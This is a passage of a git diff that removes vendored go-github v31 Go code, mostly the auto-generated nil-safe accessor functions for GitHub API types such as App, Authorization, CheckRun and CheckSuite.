treeEntryWithFileDelete{ - Path: entry.Path, - Mode: entry.Mode, - Type: entry.Type, - Size: entry.Size, - URL: entry.URL, - }) - continue - } - newEntries = append(newEntries, entry) - } - - body := &createTree{ - BaseTree: baseTree, - Entries: newEntries, - } - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - t := new(Tree) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/github-accessors.go b/vendor/github.com/google/go-github/v31/github/github-accessors.go deleted file mode 100644 index 4141b9cd60..0000000000 --- a/vendor/github.com/google/go-github/v31/github/github-accessors.go +++ /dev/null @@ -1,14501 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Code generated by gen-accessors; DO NOT EDIT. - -package github - -import ( - "encoding/json" - "time" -) - -// GetRetryAfter returns the RetryAfter field if it's non-nil, zero value otherwise. -func (a *AbuseRateLimitError) GetRetryAfter() time.Duration { - if a == nil || a.RetryAfter == nil { - return 0 - } - return *a.RetryAfter -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *AdminEnforcement) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetComments returns the Comments field. -func (a *AdminStats) GetComments() *CommentStats { - if a == nil { - return nil - } - return a.Comments -} - -// GetGists returns the Gists field. -func (a *AdminStats) GetGists() *GistStats { - if a == nil { - return nil - } - return a.Gists -} - -// GetHooks returns the Hooks field. -func (a *AdminStats) GetHooks() *HookStats { - if a == nil { - return nil - } - return a.Hooks -} - -// GetIssues returns the Issues field. -func (a *AdminStats) GetIssues() *IssueStats { - if a == nil { - return nil - } - return a.Issues -} - -// GetMilestones returns the Milestones field. -func (a *AdminStats) GetMilestones() *MilestoneStats { - if a == nil { - return nil - } - return a.Milestones -} - -// GetOrgs returns the Orgs field. -func (a *AdminStats) GetOrgs() *OrgStats { - if a == nil { - return nil - } - return a.Orgs -} - -// GetPages returns the Pages field. -func (a *AdminStats) GetPages() *PageStats { - if a == nil { - return nil - } - return a.Pages -} - -// GetPulls returns the Pulls field. -func (a *AdminStats) GetPulls() *PullStats { - if a == nil { - return nil - } - return a.Pulls -} - -// GetRepos returns the Repos field. -func (a *AdminStats) GetRepos() *RepoStats { - if a == nil { - return nil - } - return a.Repos -} - -// GetUsers returns the Users field. -func (a *AdminStats) GetUsers() *UserStats { - if a == nil { - return nil - } - return a.Users -} - -// GetVerifiablePasswordAuthentication returns the VerifiablePasswordAuthentication field if it's non-nil, zero value otherwise. -func (a *APIMeta) GetVerifiablePasswordAuthentication() bool { - if a == nil || a.VerifiablePasswordAuthentication == nil { - return false - } - return *a.VerifiablePasswordAuthentication -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *App) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (a *App) GetDescription() string { - if a == nil || a.Description == nil { - return "" - } - return *a.Description -} - -// GetExternalURL returns the ExternalURL field if it's non-nil, zero value otherwise. -func (a *App) GetExternalURL() string { - if a == nil || a.ExternalURL == nil { - return "" - } - return *a.ExternalURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (a *App) GetHTMLURL() string { - if a == nil || a.HTMLURL == nil { - return "" - } - return *a.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *App) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *App) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (a *App) GetNodeID() string { - if a == nil || a.NodeID == nil { - return "" - } - return *a.NodeID -} - -// GetOwner returns the Owner field. -func (a *App) GetOwner() *User { - if a == nil { - return nil - } - return a.Owner -} - -// GetPermissions returns the Permissions field. -func (a *App) GetPermissions() *InstallationPermissions { - if a == nil { - return nil - } - return a.Permissions -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (a *App) GetSlug() string { - if a == nil || a.Slug == nil { - return "" - } - return *a.Slug -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *App) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetClientSecret returns the ClientSecret field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetClientSecret() string { - if a == nil || a.ClientSecret == nil { - return "" - } - return *a.ClientSecret -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetDescription() string { - if a == nil || a.Description == nil { - return "" - } - return *a.Description -} - -// GetExternalURL returns the ExternalURL field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetExternalURL() string { - if a == nil || a.ExternalURL == nil { - return "" - } - return *a.ExternalURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetHTMLURL() string { - if a == nil || a.HTMLURL == nil { - return "" - } - return *a.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetNodeID() string { - if a == nil || a.NodeID == nil { - return "" - } - return *a.NodeID -} - -// GetOwner returns the Owner field. -func (a *AppConfig) GetOwner() *User { - if a == nil { - return nil - } - return a.Owner -} - -// GetPEM returns the PEM field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetPEM() string { - if a == nil || a.PEM == nil { - return "" - } - return *a.PEM -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetWebhookSecret returns the WebhookSecret field if it's non-nil, zero value otherwise. -func (a *AppConfig) GetWebhookSecret() string { - if a == nil || a.WebhookSecret == nil { - return "" - } - return *a.WebhookSecret -} - -// GetArchiveDownloadURL returns the ArchiveDownloadURL field if it's non-nil, zero value otherwise. -func (a *Artifact) GetArchiveDownloadURL() string { - if a == nil || a.ArchiveDownloadURL == nil { - return "" - } - return *a.ArchiveDownloadURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *Artifact) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetExpired returns the Expired field if it's non-nil, zero value otherwise. -func (a *Artifact) GetExpired() bool { - if a == nil || a.Expired == nil { - return false - } - return *a.Expired -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (a *Artifact) GetExpiresAt() Timestamp { - if a == nil || a.ExpiresAt == nil { - return Timestamp{} - } - return *a.ExpiresAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *Artifact) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *Artifact) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (a *Artifact) GetNodeID() string { - if a == nil || a.NodeID == nil { - return "" - } - return *a.NodeID -} - -// GetSizeInBytes returns the SizeInBytes field if it's non-nil, zero value otherwise. -func (a *Artifact) GetSizeInBytes() int64 { - if a == nil || a.SizeInBytes == nil { - return 0 - } - return *a.SizeInBytes -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (a *ArtifactList) GetTotalCount() int64 { - if a == nil || a.TotalCount == nil { - return 0 - } - return *a.TotalCount -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (a *Attachment) GetBody() string { - if a == nil || a.Body == nil { - return "" - } - return *a.Body -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *Attachment) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (a *Attachment) GetTitle() string { - if a == nil || a.Title == nil { - return "" - } - return *a.Title -} - -// GetApp returns the App field. -func (a *Authorization) GetApp() *AuthorizationApp { - if a == nil { - return nil - } - return a.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (a *Authorization) GetCreatedAt() Timestamp { - if a == nil || a.CreatedAt == nil { - return Timestamp{} - } - return *a.CreatedAt -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *Authorization) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetHashedToken returns the HashedToken field if it's non-nil, zero value otherwise. -func (a *Authorization) GetHashedToken() string { - if a == nil || a.HashedToken == nil { - return "" - } - return *a.HashedToken -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (a *Authorization) GetID() int64 { - if a == nil || a.ID == nil { - return 0 - } - return *a.ID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *Authorization) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *Authorization) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (a *Authorization) GetToken() string { - if a == nil || a.Token == nil { - return "" - } - return *a.Token -} - -// GetTokenLastEight returns the TokenLastEight field if it's non-nil, zero value otherwise. -func (a *Authorization) GetTokenLastEight() string { - if a == nil || a.TokenLastEight == nil { - return "" - } - return *a.TokenLastEight -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (a *Authorization) GetUpdatedAt() Timestamp { - if a == nil || a.UpdatedAt == nil { - return Timestamp{} - } - return *a.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *Authorization) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetUser returns the User field. -func (a *Authorization) GetUser() *User { - if a == nil { - return nil - } - return a.User -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetName() string { - if a == nil || a.Name == nil { - return "" - } - return *a.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (a *AuthorizationApp) GetURL() string { - if a == nil || a.URL == nil { - return "" - } - return *a.URL -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetClientID() string { - if a == nil || a.ClientID == nil { - return "" - } - return *a.ClientID -} - -// GetClientSecret returns the ClientSecret field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetClientSecret() string { - if a == nil || a.ClientSecret == nil { - return "" - } - return *a.ClientSecret -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *AuthorizationRequest) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetFingerprint() string { - if a == nil || a.Fingerprint == nil { - return "" - } - return *a.Fingerprint -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetNote() string { - if a == nil || a.Note == nil { - return "" - } - return *a.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (a *AuthorizationUpdateRequest) GetNoteURL() string { - if a == nil || a.NoteURL == nil { - return "" - } - return *a.NoteURL -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (a *AutoTriggerCheck) GetAppID() int64 { - if a == nil || a.AppID == nil { - return 0 - } - return *a.AppID -} - -// GetSetting returns the Setting field if it's non-nil, zero value otherwise. -func (a *AutoTriggerCheck) GetSetting() bool { - if a == nil || a.Setting == nil { - return false - } - return *a.Setting -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (b *Blob) GetContent() string { - if b == nil || b.Content == nil { - return "" - } - return *b.Content -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (b *Blob) GetEncoding() string { - if b == nil || b.Encoding == nil { - return "" - } - return *b.Encoding -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (b *Blob) GetNodeID() string { - if b == nil || b.NodeID == nil { - return "" - } - return *b.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (b *Blob) GetSHA() string { - if b == nil || b.SHA == nil { - return "" - } - return *b.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (b *Blob) GetSize() int { - if b == nil || b.Size == nil { - return 0 - } - return *b.Size -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *Blob) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetCommit returns the Commit field. -func (b *Branch) GetCommit() *RepositoryCommit { - if b == nil { - return nil - } - return b.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *Branch) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *Branch) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetCommit returns the Commit field. -func (b *BranchCommit) GetCommit() *Commit { - if b == nil { - return nil - } - return b.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BranchCommit) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *BranchCommit) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *BranchListOptions) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetApp returns the App field. -func (c *CheckRun) GetApp() *App { - if c == nil { - return nil - } - return c.App -} - -// GetCheckSuite returns the CheckSuite field. -func (c *CheckRun) GetCheckSuite() *CheckSuite { - if c == nil { - return nil - } - return c.CheckSuite -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetCompletedAt() Timestamp { - if c == nil || c.CompletedAt == nil { - return Timestamp{} - } - return *c.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetDetailsURL() string { - if c == nil || c.DetailsURL == nil { - return "" - } - return *c.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetExternalID() string { - if c == nil || c.ExternalID == nil { - return "" - } - return *c.ExternalID -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetHeadSHA() string { - if c == nil || c.HeadSHA == nil { - return "" - } - return *c.HeadSHA -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetOutput returns the Output field. -func (c *CheckRun) GetOutput() *CheckRunOutput { - if c == nil { - return nil - } - return c.Output -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetStartedAt() Timestamp { - if c == nil || c.StartedAt == nil { - return Timestamp{} - } - return *c.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAnnotationLevel returns the AnnotationLevel field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetAnnotationLevel() string { - if c == nil || c.AnnotationLevel == nil { - return "" - } - return *c.AnnotationLevel -} - -// GetEndColumn returns the EndColumn field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetEndColumn() int { - if c == nil || c.EndColumn == nil { - return 0 - } - return *c.EndColumn -} - -// GetEndLine returns the EndLine field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetEndLine() int { - if c == nil || c.EndLine == nil { - return 0 - } - return *c.EndLine -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetMessage() string { - if c == nil || c.Message == nil { - return "" - } - return *c.Message -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetPath() string { - if c == nil || c.Path == nil { - return "" - } - return *c.Path -} - -// GetRawDetails returns the RawDetails field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetRawDetails() string { - if c == nil || c.RawDetails == nil { - return "" - } - return *c.RawDetails -} - -// GetStartColumn returns the StartColumn field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetStartColumn() int { - if c == nil || c.StartColumn == nil { - return 0 - } - return *c.StartColumn -} - -// GetStartLine returns the StartLine field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetStartLine() int { - if c == nil || c.StartLine == nil { - return 0 - } - return *c.StartLine -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetTitle() string { - if c == nil || c.Title == nil { - return "" - } - return *c.Title -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CheckRunEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetCheckRun returns the CheckRun field. -func (c *CheckRunEvent) GetCheckRun() *CheckRun { - if c == nil { - return nil - } - return c.CheckRun -} - -// GetInstallation returns the Installation field. -func (c *CheckRunEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetOrg returns the Org field. -func (c *CheckRunEvent) GetOrg() *Organization { - if c == nil { - return nil - } - return c.Org -} - -// GetRepo returns the Repo field. -func (c *CheckRunEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetRequestedAction returns the RequestedAction field. -func (c *CheckRunEvent) GetRequestedAction() *RequestedAction { - if c == nil { - return nil - } - return c.RequestedAction -} - -// GetSender returns the Sender field. -func (c *CheckRunEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetAlt returns the Alt field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetAlt() string { - if c == nil || c.Alt == nil { - return "" - } - return *c.Alt -} - -// GetCaption returns the Caption field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetCaption() string { - if c == nil || c.Caption == nil { - return "" - } - return *c.Caption -} - -// GetImageURL returns the ImageURL field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetImageURL() string { - if c == nil || c.ImageURL == nil { - return "" - } - return *c.ImageURL -} - -// GetAnnotationsCount returns the AnnotationsCount field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetAnnotationsCount() int { - if c == nil || c.AnnotationsCount == nil { - return 0 - } - return *c.AnnotationsCount -} - -// GetAnnotationsURL returns the AnnotationsURL field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetAnnotationsURL() string { - if c == nil || c.AnnotationsURL == nil { - return "" - } - return *c.AnnotationsURL -} - -// GetSummary returns the Summary field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetSummary() string { - if c == nil || c.Summary == nil { - return "" - } - return *c.Summary -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetText() string { - if c == nil || c.Text == nil { - return "" - } - return *c.Text -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetTitle() string { - if c == nil || c.Title == nil { - return "" - } - return *c.Title -} - -// GetAfterSHA returns the AfterSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetAfterSHA() string { - if c == nil || c.AfterSHA == nil { - return "" - } - return *c.AfterSHA -} - -// GetApp returns the App field. -func (c *CheckSuite) GetApp() *App { - if c == nil { - return nil - } - return c.App -} - -// GetBeforeSHA returns the BeforeSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetBeforeSHA() string { - if c == nil || c.BeforeSHA == nil { - return "" - } - return *c.BeforeSHA -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetHeadBranch returns the HeadBranch field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetHeadBranch() string { - if c == nil || c.HeadBranch == nil { - return "" - } - return *c.HeadBranch -} - -// GetHeadCommit returns the HeadCommit field. -func (c *CheckSuite) GetHeadCommit() *Commit { - if c == nil { - return nil - } - return c.HeadCommit -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetHeadSHA() string { - if c == nil || c.HeadSHA == nil { - return "" - } - return *c.HeadSHA -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetRepository returns the Repository field. -func (c *CheckSuite) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CheckSuiteEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetCheckSuite returns the CheckSuite field. -func (c *CheckSuiteEvent) GetCheckSuite() *CheckSuite { - if c == nil { - return nil - } - return c.CheckSuite -} - -// GetInstallation returns the Installation field. -func (c *CheckSuiteEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetOrg returns the Org field. -func (c *CheckSuiteEvent) GetOrg() *Organization { - if c == nil { - return nil - } - return c.Org -} - -// GetRepo returns the Repo field. -func (c *CheckSuiteEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CheckSuiteEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetPreferences returns the Preferences field. -func (c *CheckSuitePreferenceResults) GetPreferences() *PreferenceList { - if c == nil { - return nil - } - return c.Preferences -} - -// GetRepository returns the Repository field. -func (c *CheckSuitePreferenceResults) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetBody() string { - if c == nil || c.Body == nil { - return "" - } - return *c.Body -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetKey() string { - if c == nil || c.Key == nil { - return "" - } - return *c.Key -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetPath() string { - if c == nil || c.Path == nil { - return "" - } - return *c.Path -} - -// GetRepository returns the Repository field. -func (c *CodeResult) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (c *CodeSearchResult) GetIncompleteResults() bool { - if c == nil || c.IncompleteResults == nil { - return false - } - return *c.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CodeSearchResult) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetCreatedAt() Timestamp { - if c == nil || c.CreatedAt == nil { - return Timestamp{} - } - return *c.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetInvitee returns the Invitee field. -func (c *CollaboratorInvitation) GetInvitee() *User { - if c == nil { - return nil - } - return c.Invitee -} - -// GetInviter returns the Inviter field. -func (c *CollaboratorInvitation) GetInviter() *User { - if c == nil { - return nil - } - return c.Inviter -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetPermissions() string { - if c == nil || c.Permissions == nil { - return "" - } - return *c.Permissions -} - -// GetRepo returns the Repo field. -func (c *CollaboratorInvitation) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetCommitURL returns the CommitURL field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetCommitURL() string { - if c == nil || c.CommitURL == nil { - return "" - } - return *c.CommitURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetRepositoryURL() string { - if c == nil || c.RepositoryURL == nil { - return "" - } - return *c.RepositoryURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetState() string { - if c == nil || c.State == nil { - return "" - } - return *c.State -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetTotalCount() int { - if c == nil || c.TotalCount == nil { - return 0 - } - return *c.TotalCount -} - -// GetTotalCommitComments returns the TotalCommitComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalCommitComments() int { - if c == nil || c.TotalCommitComments == nil { - return 0 - } - return *c.TotalCommitComments -} - -// GetTotalGistComments returns the TotalGistComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalGistComments() int { - if c == nil || c.TotalGistComments == nil { - return 0 - } - return *c.TotalGistComments -} - -// GetTotalIssueComments returns the TotalIssueComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalIssueComments() int { - if c == nil || c.TotalIssueComments == nil { - return 0 - } - return 